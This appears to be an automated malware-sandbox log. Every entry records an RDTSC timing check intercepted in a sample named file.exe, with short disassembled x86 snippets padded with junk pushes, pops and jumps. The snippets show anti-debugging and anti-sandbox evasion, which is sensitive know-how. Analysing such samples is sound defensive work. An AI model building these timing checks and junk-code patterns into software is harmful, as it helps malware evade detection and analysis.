Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764CBB second address: 740B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A043h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F632D23A04Fh 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jo 00007F632D23A03Ch 0x00000018 jc 00007F632D23A036h 0x0000001e jmp 00007F632D23A03Dh 0x00000023 popad 0x00000024 nop 0x00000025 mov ecx, edi 0x00000027 call dword ptr [ebp+122D2F38h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79368D second address: 793697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793846 second address: 793863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793863 second address: 793869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793EF0 second address: 793F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F632D23A036h 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F632D23A048h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7940D3 second address: 7940F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F632C74B8D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7940F6 second address: 7940FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7940FA second address: 794105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794105 second address: 79411F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A03Bh 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jne 00007F632D23A036h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A2EC second address: 79A2F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A2F2 second address: 79A2F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A2F6 second address: 79A300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A300 second address: 79A304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A304 second address: 79A315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F632C74B8DEh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A11A9 second address: 7A11BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F632D23A040h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FEDF second address: 79FEF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FEF6 second address: 79FEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FEFC second address: 79FF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FF08 second address: 79FF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007F632D23A042h 0x0000000d jmp 00007F632D23A042h 0x00000012 jne 00007F632D23A036h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FF3B second address: 79FF54 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F632C74B8E2h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A00B2 second address: 7A00BC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F632D23A036h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A00BC second address: 7A00C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A00C2 second address: 7A00DD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F632D23A03Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c jnp 00007F632D23A036h 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A00DD second address: 7A00E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A00E3 second address: 7A011A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F632D23A036h 0x00000008 jmp 00007F632D23A043h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnc 00007F632D23A036h 0x00000016 jmp 00007F632D23A041h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FBD4 second address: 79FBD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FBD8 second address: 79FBE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FBE0 second address: 79FBEE instructions: 0x00000000 rdtsc 0x00000002 js 00007F632C74B8D8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FBEE second address: 79FBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FBF4 second address: 79FC20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E4h 0x00000007 jmp 00007F632C74B8DAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FC20 second address: 79FC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F632D23A03Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0ABD second address: 7A0AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jbe 00007F632C74B8D6h 0x0000000b popad 0x0000000c jno 00007F632C74B8E2h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 je 00007F632C74B8D8h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F632C74B8DDh 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2EEC second address: 7A2EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2EF0 second address: 7A2EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2EF6 second address: 7A2F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F632D23A048h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F632D23A03Bh 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2F27 second address: 7A2F38 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3082 second address: 7A3088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5A3E second address: 7A5A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5E52 second address: 7A5E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC700 second address: 7AC706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC706 second address: 7AC715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F632D23A03Eh 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAF34 second address: 7AAF3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAF3A second address: 7AAF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB07F second address: 7AB083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB083 second address: 7AB09C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB09C second address: 7AB0A9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F632C74B8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB212 second address: 7AB218 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB218 second address: 7AB222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB222 second address: 7AB237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB4B8 second address: 7AB4BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB4BC second address: 7AB4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F632D23A04Bh 0x0000000c jmp 00007F632D23A046h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB4FA second address: 7AB509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB509 second address: 7AB50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB50F second address: 7AB517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB517 second address: 7AB51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7646F2 second address: 7646F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7647A5 second address: 7647AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7647AB second address: 7647AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7647AF second address: 7647D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F632D23A046h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB7B3 second address: 7AB7E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DBh 0x00000007 jmp 00007F632C74B8E0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f ja 00007F632C74B8DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB7E3 second address: 7AB7E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB96F second address: 7AB975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB975 second address: 7AB993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F632D23A045h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB993 second address: 7AB9B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E5h 0x00000007 jmp 00007F632C74B8DCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF5DB second address: 7AF5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F632D23A03Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF5EF second address: 7AF60F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F632C74B8E7h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEFDE second address: 7AEFE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF330 second address: 7AF334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF334 second address: 7AF33E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F632D23A036h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B32B9 second address: 7B32BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B32BD second address: 7B32C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B32C3 second address: 7B32CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B32CF second address: 7B32D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B32D3 second address: 7B32D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B297E second address: 7B2982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2AB7 second address: 7B2ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B901D second address: 7B902C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jns 00007F632D23A038h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B91A2 second address: 7B91A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9430 second address: 7B9442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F632D23A03Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9442 second address: 7B9447 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9C35 second address: 7B9C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9C3E second address: 7B9C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jns 00007F632C74B8D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA7E7 second address: 7BA7EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE6BC second address: 7BE6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE6C0 second address: 7BE6C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEA89 second address: 7BEAB5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F632C74B8DCh 0x00000008 pop esi 0x00000009 jmp 00007F632C74B8E5h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEAB5 second address: 7BEAC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F632D23A036h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BED70 second address: 7BED7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F632C74B8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BED7A second address: 7BED86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BED86 second address: 7BED8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BED8A second address: 7BEDA4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F632D23A036h 0x00000008 jne 00007F632D23A036h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F632D23A036h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C31 second address: 7C0C3B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F632C74B8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C3B second address: 7C0C51 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F632D23A038h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F632D23A03Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C51 second address: 7C0C67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F632C74B8DCh 0x00000010 jno 00007F632C74B8D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDE6D second address: 7CDE91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F632D23A042h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d jnl 00007F632D23A03Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDE91 second address: 7CDEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 jnp 00007F632C74B8D6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC044 second address: 7CC048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC646 second address: 7CC657 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DCh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
